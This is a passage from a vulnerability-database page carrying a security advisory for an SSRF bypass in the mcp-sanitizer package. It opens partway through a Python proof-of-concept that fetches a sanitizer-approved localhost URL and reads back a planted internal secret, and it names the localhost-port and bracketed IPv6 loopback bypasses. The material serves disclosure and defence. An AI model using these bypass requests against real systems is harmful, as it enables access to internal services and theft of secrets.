\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Step 4: Perform actual SSRF request using the bypassed localhost:8080 URL\n#         This proves the sanitizer flaw leads to real internal service access.\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nssrf_confirmed = False\nssrf_evidence = None\nssrf_url = \"http://localhost:8080/\"\n\nif ssrf_url in bypass_urls:\n    print(f\"[*] Attempting SSRF: GET {ssrf_url} (using sanitizer-approved URL) ...\")\n    try:\n        resp = urllib.request.urlopen(ssrf_url, timeout=5)\n        body = resp.read().decode().strip()\n        print(f\"[*] HTTP response status: {resp.status}\")\n        print(f\"[*] HTTP response body:\\n    {body.replace(chr(10), chr(10) + \u0027    \u0027)}\")\n        if INTERNAL_SECRET in body:\n            ssrf_confirmed = True\n            ssrf_evidence = body\n            print(f\"\\n[!!!] INTERNAL SECRET EXFILTRATED: {INTERNAL_SECRET}\")\n    except Exception as exc:\n        print(f\"[ERROR] HTTP request failed: {exc}\")\nelse:\n    print(f\"[WARN] {ssrf_url} was not in bypass_urls; skipping actual SSRF step\")\n\ninternal_server.shutdown()\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Step 5: Final verdict\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(\"VERDICT\")\nprint(f\"{\u0027=\u0027*65}\")\nprint(f\"  Bypass URLs confirmed by sanitizer: {len(bypass_urls)}\")\nprint(f\"  Bypassed URLs:                      {bypass_urls}\")\nprint(f\"  Actual SSRF HTTP request succeeded: {ssrf_confirmed}\")\nprint(f\"  Exfiltrated secret matches:         {ssrf_confirmed and INTERNAL_SECRET in (ssrf_evidence or \u0027\u0027)}\")\n\nif ssrf_confirmed and len(bypass_urls) \u003e= 2:\n    print(\"\\n  RESULT: PASS - SSRF bypass fully demonstrated end-to-end\")\n    print(\"  - mcp-sanitizer v1.3.3 did NOT block localhost:8080, [::1]:8080, [fe80::1]:8080\")\n    print(f\"  - Actual HTTP GET to internal service returned: {ssrf_evidence!r}\")\n    sys.exit(0)\nelif len(bypass_urls) \u003e= 2:\n    print(\"\\n  RESULT: PARTIAL - sanitizer bypass confirmed but live HTTP request failed\")\n    print(f\"  - {len(bypass_urls)} URLs bypassed sanitizer: {bypass_urls}\")\n    sys.exit(1)\nelse:\n    print(\"\\n  RESULT: FAIL - expected at least 2 bypass URLs\")\n    sys.exit(1)\n```",
  "id": "GHSA-4mfg-r38w-w8fg",
  "modified": "2026-10-28T19:51:40Z",
  "published": "2026-10-28T19:51:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/starman69/mcp-sanitizer/security/advisories/GHSA-4mfg-r38w-w8fg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/starman69/mcp-sanitizer/commit/200685889b073f7470859b0941b67b7f46255f09"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/starman69/mcp-sanitizer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/starman69/mcp-sanitizer/releases/tag/v1.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mcp-sanitizer: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.